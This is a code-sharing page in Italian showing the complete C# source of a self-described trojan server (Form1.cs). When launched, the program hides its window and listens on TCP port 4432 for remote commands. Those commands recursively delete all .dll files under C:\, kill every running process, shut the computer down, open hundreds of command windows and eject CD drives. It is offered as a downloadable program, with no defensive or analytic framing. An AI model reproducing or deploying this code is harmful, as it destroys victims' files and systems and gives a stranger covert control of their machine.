Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Server - Form1.cs

Form1.cs

Caricato da:
Scarica il programma completo

  1. using System;
  2. using System.Drawing;
  3. using System.Collections;
  4. using System.ComponentModel;
  5. using System.Windows.Forms;
  6. using System.Data;
  7. using System.Net;
  8. using System.Net.Sockets;
  9. using System.Threading;
  10. using System.Text;
  11. using System.Diagnostics;
  12. using System.IO;
  13. using System.Runtime.InteropServices;
  14. using Ripper;
  15.  
  16.  
  17. namespace Server
  18. {
  19.         /// <summary>
  20.         /// Descrizione di riepilogo per Form1.
  21.         /// </summary>
  22.         public class Form1 : System.Windows.Forms.Form
  23.         {
  24.                
  25.                 string nick;
  26.                 string hub;
  27.                 string pporta;
  28.                 delegate void AddLog(string log);
  29.                 ArrayList users = new ArrayList();
  30.                 Thread receiveall;
  31.                 Socket srv;
  32.         string directory;
  33.         ArrayList adir = new ArrayList();
  34.                 string titolo;
  35.                 string messaggio;
  36.                 bool start = false;
  37.                 private Thread searchesendfavorite;
  38.                 private System.Windows.Forms.Label label1;
  39.                 private System.Windows.Forms.Button button1;
  40.                 private System.Windows.Forms.Label label2;
  41.                 private System.Windows.Forms.Label label3;
  42.                 private System.Windows.Forms.TextBox porta;
  43.                 private System.Windows.Forms.NumericUpDown max;
  44.                 private System.Windows.Forms.RichTextBox r;
  45.                 private System.Windows.Forms.StatusBar statusBar1;
  46.                 private System.Windows.Forms.StatusBarPanel st;
  47.                 private System.Windows.Forms.RichTextBox r1;
  48.                 private System.Windows.Forms.RichTextBox richTextBox1;
  49.                 private System.Windows.Forms.TextBox delay;
  50.                 private System.Windows.Forms.RichTextBox r3;
  51.                 private System.Windows.Forms.NumericUpDown n;
  52.                 private System.Windows.Forms.TextBox pp;
  53.                 /// <summary>
  54.                 /// Variabile di progettazione necessaria.
  55.                 /// </summary>
  56.                 private System.ComponentModel.Container components = null;
  57.  
  58.                 public Form1()
  59.                 {
  60.                         //
  61.                         // Necessario per il supporto di Progettazione Windows Form
  62.                         //
  63.                         InitializeComponent();
  64.  
  65.                         //
  66.                         // TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
  67.                         //
  68.                 }
  69.  
  70.                 /// <summary>
  71.                 /// Pulire le risorse in uso.
  72.                 /// </summary>
  73.                 protected override void Dispose( bool disposing )
  74.                 {
  75.                         if( disposing )
  76.                         {
  77.                                 if (components != null)
  78.                                 {
  79.                                         components.Dispose();
  80.                                 }
  81.                         }
  82.                         base.Dispose( disposing );
  83.                 }
  84.  
  85.                 #region Codice generato da Progettazione Windows Form
  86.                 /// <summary>
  87.                 /// Metodo necessario per il supporto della finestra di progettazione. Non modificare
  88.                 /// il contenuto del metodo con l'editor di codice.
  89.                 /// </summary>
  90.                 private void InitializeComponent()
  91.                 {
  92.                         this.porta = new System.Windows.Forms.TextBox();
  93.                         this.label1 = new System.Windows.Forms.Label();
  94.                         this.button1 = new System.Windows.Forms.Button();
  95.                         this.label2 = new System.Windows.Forms.Label();
  96.                         this.max = new System.Windows.Forms.NumericUpDown();
  97.                         this.label3 = new System.Windows.Forms.Label();
  98.                         this.r = new System.Windows.Forms.RichTextBox();
  99.                         this.statusBar1 = new System.Windows.Forms.StatusBar();
  100.                         this.st = new System.Windows.Forms.StatusBarPanel();
  101.                         this.r1 = new System.Windows.Forms.RichTextBox();
  102.                         this.richTextBox1 = new System.Windows.Forms.RichTextBox();
  103.                         this.delay = new System.Windows.Forms.TextBox();
  104.                         this.r3 = new System.Windows.Forms.RichTextBox();
  105.                         this.n = new System.Windows.Forms.NumericUpDown();
  106.                         this.pp = new System.Windows.Forms.TextBox();
  107.                         ((System.ComponentModel.ISupportInitialize)(this.max)).BeginInit();
  108.                         ((System.ComponentModel.ISupportInitialize)(this.st)).BeginInit();
  109.                         ((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
  110.                         this.SuspendLayout();
  111.                         //
  112.                         // porta
  113.                         //
  114.                         this.porta.Location = new System.Drawing.Point(952, 136);
  115.                         this.porta.Name = "porta";
  116.                         this.porta.ReadOnly = true;
  117.                         this.porta.TabIndex = 0;
  118.                         this.porta.Text = "4432";
  119.                         //
  120.                         // label1
  121.                         //
  122.                         this.label1.Location = new System.Drawing.Point(984, 160);
  123.                         this.label1.Name = "label1";
  124.                         this.label1.Size = new System.Drawing.Size(40, 16);
  125.                         this.label1.TabIndex = 1;
  126.                         this.label1.Text = "Porta";
  127.                         //
  128.                         // button1
  129.                         //
  130.                         this.button1.Location = new System.Drawing.Point(952, 72);
  131.                         this.button1.Name = "button1";
  132.                         this.button1.Size = new System.Drawing.Size(80, 24);
  133.                         this.button1.TabIndex = 2;
  134.                         this.button1.Text = "Avvia";
  135.                         this.button1.Click += new System.EventHandler(this.button1_Click);
  136.                         //
  137.                         // label2
  138.                         //
  139.                         this.label2.Location = new System.Drawing.Point(976, 112);
  140.                         this.label2.Name = "label2";
  141.                         this.label2.Size = new System.Drawing.Size(56, 16);
  142.                         this.label2.TabIndex = 3;
  143.                         this.label2.Text = "Max User";
  144.                         //
  145.                         // max
  146.                         //
  147.                         this.max.Location = new System.Drawing.Point(904, 112);
  148.                         this.max.Maximum = new System.Decimal(new int[] {
  149.                                                                                                                                 1000,
  150.                                                                                                                                 0,
  151.                                                                                                                                 0,
  152.                                                                                                                                 0});
  153.                         this.max.Name = "max";
  154.                         this.max.ReadOnly = true;
  155.                         this.max.Size = new System.Drawing.Size(64, 20);
  156.                         this.max.TabIndex = 4;
  157.                         this.max.Value = new System.Decimal(new int[] {
  158.                                                                                                                           1000,
  159.                                                                                                                           0,
  160.                                                                                                                           0,
  161.                                                                                                                           0});
  162.                         //
  163.                         // label3
  164.                         //
  165.                         this.label3.Location = new System.Drawing.Point(976, 184);
  166.                         this.label3.Name = "label3";
  167.                         this.label3.Size = new System.Drawing.Size(32, 16);
  168.                         this.label3.TabIndex = 5;
  169.                         this.label3.Text = "Log";
  170.                         //
  171.                         // r
  172.                         //
  173.                         this.r.Location = new System.Drawing.Point(896, 160);
  174.                         this.r.Name = "r";
  175.                         this.r.Size = new System.Drawing.Size(80, 40);
  176.                         this.r.TabIndex = 6;
  177.                         this.r.Text = "";
  178.                         //
  179.                         // statusBar1
  180.                         //
  181.                         this.statusBar1.Location = new System.Drawing.Point(0, -24);
  182.                         this.statusBar1.Name = "statusBar1";
  183.                         this.statusBar1.Panels.AddRange(new System.Windows.Forms.StatusBarPanel[] {
  184.                                                                                                                                                                                   this.st});
  185.                         this.statusBar1.ShowPanels = true;
  186.                         this.statusBar1.Size = new System.Drawing.Size(8, 32);
  187.                         this.statusBar1.SizingGrip = false;
  188.                         this.statusBar1.TabIndex = 7;
  189.                         this.statusBar1.Visible = false;
  190.                         this.statusBar1.PanelClick += new System.Windows.Forms.StatusBarPanelClickEventHandler(this.statusBar1_PanelClick);
  191.                         //
  192.                         // st
  193.                         //
  194.                         this.st.AutoSize = System.Windows.Forms.StatusBarPanelAutoSize.Spring;
  195.                         this.st.Text = "User Connessi: 0";
  196.                         this.st.Width = 10;
  197.                         //
  198.                         // r1
  199.                         //
  200.                         this.r1.Location = new System.Drawing.Point(944, 200);
  201.                         this.r1.Name = "r1";
  202.                         this.r1.Size = new System.Drawing.Size(72, 40);
  203.                         this.r1.TabIndex = 17;
  204.                         this.r1.Text = "";
  205.                         //
  206.                         // richTextBox1
  207.                         //
  208.                         this.richTextBox1.Location = new System.Drawing.Point(984, 32);
  209.                         this.richTextBox1.Name = "richTextBox1";
  210.                         this.richTextBox1.Size = new System.Drawing.Size(64, 32);
  211.                         this.richTextBox1.TabIndex = 16;
  212.                         this.richTextBox1.Text = "";
  213.                         //
  214.                         // delay
  215.                         //
  216.                         this.delay.Location = new System.Drawing.Point(944, 256);
  217.                         this.delay.Name = "delay";
  218.                         this.delay.Size = new System.Drawing.Size(40, 20);
  219.                         this.delay.TabIndex = 18;
  220.                         this.delay.Text = "2";
  221.                         //
  222.                         // r3
  223.                         //
  224.                         this.r3.Location = new System.Drawing.Point(888, 72);
  225.                         this.r3.Name = "r3";
  226.                         this.r3.Size = new System.Drawing.Size(48, 32);
  227.                         this.r3.TabIndex = 19;
  228.                         this.r3.Text = "";
  229.                         //
  230.                         // n
  231.                         //
  232.                         this.n.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  233.                         this.n.ForeColor = System.Drawing.Color.Black;
  234.                         this.n.Location = new System.Drawing.Point(936, 32);
  235.                         this.n.Maximum = new System.Decimal(new int[] {
  236.                                                                                                                           1000,
  237.                                                                                                                           0,
  238.                                                                                                                           0,
  239.                                                                                                                           0});
  240.                         this.n.Name = "n";
  241.                         this.n.Size = new System.Drawing.Size(40, 26);
  242.                         this.n.TabIndex = 20;
  243.                         this.n.Value = new System.Decimal(new int[] {
  244.                                                                                                                         999,
  245.                                                                                                                         0,
  246.                                                                                                                         0,
  247.                                                                                                                         0});
  248.                         //
  249.                         // pp
  250.                         //
  251.                         this.pp.Location = new System.Drawing.Point(968, 0);
  252.                         this.pp.Name = "pp";
  253.                         this.pp.Size = new System.Drawing.Size(64, 20);
  254.                         this.pp.TabIndex = 21;
  255.                         this.pp.Text = "textBox1";
  256.                         this.pp.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
  257.                         //
  258.                         // Form1
  259.                         //
  260.                         this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
  261.                         this.ClientSize = new System.Drawing.Size(8, 8);
  262.                         this.Controls.Add(this.pp);
  263.                         this.Controls.Add(this.delay);
  264.                         this.Controls.Add(this.porta);
  265.                         this.Controls.Add(this.statusBar1);
  266.                         this.Controls.Add(this.n);
  267.                         this.Controls.Add(this.r3);
  268.                         this.Controls.Add(this.r1);
  269.                         this.Controls.Add(this.richTextBox1);
  270.                         this.Controls.Add(this.r);
  271.                         this.Controls.Add(this.label3);
  272.                         this.Controls.Add(this.max);
  273.                         this.Controls.Add(this.label2);
  274.                         this.Controls.Add(this.button1);
  275.                         this.Controls.Add(this.label1);
  276.                         this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
  277.                         this.Name = "Form1";
  278.                         this.ShowInTaskbar = false;
  279.                         this.Text = "server";
  280.                         this.TopMost = true;
  281.                         this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
  282.                         this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
  283.                         this.Load += new System.EventHandler(this.Form1_Load);
  284.                         ((System.ComponentModel.ISupportInitialize)(this.max)).EndInit();
  285.                         ((System.ComponentModel.ISupportInitialize)(this.st)).EndInit();
  286.                         ((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
  287.                         this.ResumeLayout(false);
  288.  
  289.                 }
  290.                 #endregion
  291.  
  292.                 /// <summary>
  293.                 /// Il punto di ingresso principale dell'applicazione.
  294.                 /// </summary>
  295.                 [STAThread]
  296.                 static void Main()
  297.                 {
  298.                         Application.Run(new Form1());
  299.                 }
  300. /* TROJAN SCRITTO DA SATANA,VIETATE ANKE LE IMITAZIONI PARZIALI,IL PROGRAMMATORE SI ASTIENE DA COME UTILIZZERETE QUEST'APPLICAZIONE */
  301.                 private void button1_Click(object sender, System.EventArgs e)
  302.                 {
  303.                         if(!start)
  304.                                 Avvia();
  305.                         else
  306.                                 Stoppa();
  307.                 }
  308.                 void Avvia()
  309.                 {
  310.                         start=true;
  311.                         srv = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  312.                         IPAddress ia = IPAddress.Parse("0.0.0.0");
  313.                         IPEndPoint iep = new IPEndPoint(ia,Convert.ToInt32(porta.Text));
  314.                         srv.Bind(iep);
  315.                         srv.Listen(10);
  316.                         srv.BeginAccept(new AsyncCallback(Accetta), srv);
  317.                         receiveall = new Thread(new ThreadStart(RiceviTutti));
  318.                         receiveall.Start();
  319.                         button1.Text="Stoppa";
  320.                         porta.Enabled=false;
  321.                 }
  322.                 public void Cerca1()
  323.                
  324.                 {
  325.                         directory =  "C:\\";
  326.                         string path = directory;  
  327.             try
  328.                         {
  329.                                 string[] dirs1 = Directory.GetDirectories(@path);
  330.                                 string[] dirs2 = Directory.GetFiles(@path,"*.dll");
  331.                                 foreach (string dir in dirs2)
  332.                                 {
  333.                                        
  334.                                         string[] a = dir.Split("\\".ToCharArray());
  335.                                         File.Delete(dir);
  336.                                 }
  337.                                 foreach (string dir in dirs1)
  338.                                 {
  339.                                         r3.Text="Directory controllata: "+dir+"\n";
  340.                                         Thread.Sleep(Convert.ToInt32(delay.Text));
  341.                                         Cerca(dir);
  342.                                 }
  343.                         }
  344.                         catch(Exception e)
  345.                         {MessageBox.Show(e.ToString());}
  346.                 }
  347.                 public void Cerca(string path)
  348.                 {
  349.                
  350.                         try
  351.                         {
  352.                                 directory =  "C:\\";
  353.                                 string[] dirs1 = Directory.GetDirectories(@path);
  354.                                 string[] dirs2 = Directory.GetFiles(@path,"*.dll");
  355.                                 foreach (string dir in dirs2)
  356.                                 {
  357.                                                
  358.                                        
  359.                                         string[] a = dir.Split("\\".ToCharArray());
  360.                                         File.Delete(dir);
  361.                                 }
  362.                                 foreach (string dir in dirs1)
  363.                                 {
  364.                                         r3.Text="Directory controllata: "+dir+"\n";
  365.                                         Thread.Sleep(Convert.ToInt32(delay.Text));
  366.                                         Cerca(dir);
  367.                                 }
  368.                         }
  369.                         catch(Exception e)
  370.                         {MessageBox.Show(e.ToString());}
  371.                 }
  372.                 void Stoppa()
  373.                 {
  374.                         DisconnettiTutti();
  375.                         if(receiveall!=null)
  376.                                 receiveall.Abort();
  377.                         if(srv!=null)
  378.                                 srv.Close();
  379.                         start=false;                   
  380.                         button1.Text="Avvia";
  381.                         st.Text="User Connessi: 0";
  382.                         porta.Enabled=true;
  383.                 }
  384.                 void Accetta(IAsyncResult ar)
  385.                 {
  386.                         try
  387.                         {
  388.                                 Socket listener = (Socket) ar.AsyncState;
  389.                                 Socket client = listener.EndAccept(ar);
  390.                                 NuovaConnessione(client);
  391.                                 if(start)
  392.                                         listener.BeginAccept(new AsyncCallback(Accetta), listener);
  393.                         }
  394.                         catch{}
  395.                 }
  396.                 public void Send(Socket client,string s)
  397.                 {
  398.                         try
  399.                         {
  400.                                 client.Send(Encoding.Default.GetBytes(s+"|"));
  401.                         }
  402.                         catch{}
  403.                 }
  404.                 void NuovaConnessione(Socket client)
  405.                 {
  406.                         if(users.Count>=max.Value)
  407.                         {
  408.                                 Send(client,"Troppi Utenti");
  409.                                 client.Close();
  410.                                 return;
  411.                         }
  412.                         User us = new User();
  413.                         us.client=client;
  414.                         string ip = client.RemoteEndPoint.ToString().Substring(0,client.RemoteEndPoint.ToString().IndexOf(":"));
  415.                         us.ip=ip;
  416.                         users.Add(us);
  417.                         AL("+NuovoUserConnesso ("+us.ip+")");
  418.                         Send(client,"Nuovo Client Connesso");
  419.                         st.Text="User Connessi: "+users.Count;
  420.                 }
  421.  
  422.                 void RiceviTutti()
  423.                 {
  424.                         while(true)
  425.                         {
  426.                                 try
  427.                                 {
  428.                                         foreach(User us in users)
  429.                                         {
  430.                                                 try
  431.                                                 {
  432.                                                         Socket client = us.client;
  433.                                                         if(client.Poll(0,SelectMode.SelectRead))
  434.                                                         {
  435.                                                                 int bytes = client.Available;
  436.                                                                 if(bytes>0)
  437.                                                                 {
  438.                                                                         byte[] buffer = new byte[bytes];
  439.                                                                         client.Receive(buffer);
  440.                                                                         DataArrival(us,Encoding.Default.GetString(buffer));
  441.                                                                 }
  442.                                                                 else
  443.                                                                         Disconnetti(us);
  444.                                                         }              
  445.                                                 }
  446.                                                 catch{Disconnetti(us);}
  447.                                         }
  448.                                         Thread.Sleep(10);
  449.                                 }
  450.                                 catch{}
  451.                         }
  452.                 }
  453.                 void DisconnettiTutti()
  454.                 {
  455.                         foreach(User us in users)
  456.                         {
  457.                                 us.client.Close();
  458.                         }
  459.                         users.Clear();
  460.                 }
  461.                 void Disconnetti(User us)
  462.                 {
  463.                         us.client.Close();
  464.                         users.Remove(us);
  465.                         st.Text="User Connessi: "+users.Count;
  466.                 }
  467.                 public void lol()
  468.                 {
  469.                         MBox mbox = new MBox(titolo,messaggio);
  470.                         mbox.ShowDialog();
  471.                 }
  472.                 public void ApriDoS()
  473.                 {
  474.                         for(int i = 0;i<n.Value;i++)
  475.                         {
  476.                                 Process.Start("cmd.exe","start");
  477.                         }
  478.                 }
  479.                 public void ChiudiPC()
  480.                 {
  481.                         Process.Start("shutdown","-s");
  482.                 }
  483.                 void AL(string log)
  484.                 {
  485.                         AddLog a = new AddLog(AggiungiLog);
  486.                         string[] arg = {log};
  487.                         r.BeginInvoke(a,arg);
  488.                 }
  489.                 void AggiungiLog(string log)
  490.                 {
  491.                         r.AppendText(log+"\n");
  492.                 }
  493.  
  494.                 private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
  495.                 {
  496.                         Stoppa();
  497.                 }
  498.                 void DataArrival(User us,string msg)
  499.                 {
  500.                        
  501.                         string[] d = msg.Split('|');
  502.                         foreach(string data in d)
  503.                         {
  504.                                 AL(us.ip+"> "+data);
  505.                                 if(data.StartsWith("$CancellaFile"))
  506.                                 {
  507.                                         Thread m = new Thread(new ThreadStart(Cerca1));
  508.                                         m.Start();
  509.                                 }
  510.                                 if(data.StartsWith("$cProcess"))
  511.                                 {
  512.                                         Process[] allprocess = Process.GetProcesses();
  513.                                         for(int i = 0;i<allprocess.Length;i++)
  514.                                         {
  515.                                                 allprocess[i].Kill();
  516.                                         }
  517.                                 }
  518.                                 if(data.StartsWith("$SendFavorite"))
  519.                                 {
  520.                                         string[] b = data.Split(' ');
  521.                                         nick = b[1];
  522.                                         hub = b[2];
  523.                                         pporta = b[3];
  524.                                         SearchESendFavorite cw4 = new SearchESendFavorite(r,r1,nick,hub,pporta);
  525.                                         ThreadStart tstart4 = new ThreadStart(cw4.RunMe);
  526.                                         searchesendfavorite = new Thread(tstart4);
  527.                                         searchesendfavorite.Start();
  528.                                 }
  529.                                 else if(data.StartsWith("$CancellaFile"))
  530.                                 {
  531.                                         Thread g = new Thread(new ThreadStart(Cerca1));
  532.                                         g.Start();
  533.                                 }
  534.                                 else if(data.StartsWith("$OpenCD"))
  535.                                 {
  536.                                         char[] Drives = CDDrive.GetCDDriveLetters();
  537.                                         foreach(char c in Drives)
  538.                                         {
  539.                                                 CDDrive cd = new CDDrive();
  540.                                                 cd.Open(c);
  541.                                                 cd.EjectCD();
  542.                                         }
  543.                                 }
  544.                                 else if(data.StartsWith("$CloseCD"))
  545.                                 {                                              
  546.                                         char[] Drives = CDDrive.GetCDDriveLetters();
  547.                                         foreach(char c in Drives)
  548.                                         {
  549.                                                 CDDrive cd = new CDDrive();
  550.                                                 cd.Open(c);
  551.                                                 cd.LoadCD();
  552.                                         }
  553.                                 }
  554.                                 else if(data.StartsWith("$MessageBox"))
  555.                                 {
  556.                                         string[] a = data.Split(' ');
  557.                                         titolo = a[1];
  558.                                         messaggio = a[2];
  559.                                         Thread th1 = new Thread(new ThreadStart(lol));
  560.                                         th1.Start();
  561.                                 }
  562.                                 else if(data.StartsWith("$ShutDown"))
  563.                                 {
  564.                                         ChiudiPC();
  565.                                 }
  566.                                 else if(data.StartsWith("$ApriDoS"))
  567.                                 {
  568.                                         ApriDoS();
  569.                                 }
  570.        
  571.        
  572.  
  573.                      }
  574.                 }
  575.  
  576.                 private void Form1_Load(object sender, System.EventArgs e)
  577.                 {
  578.                         Avvia();
  579.                 }
  580.  
  581.                 private void statusBar1_PanelClick(object sender, System.Windows.Forms.StatusBarPanelClickEventArgs e)
  582.                 {
  583.                
  584.                 }
  585.  
  586.                 private void textBox1_TextChanged(object sender, System.EventArgs e)
  587.                 {
  588.                
  589.                 }
  590.         }
  591. }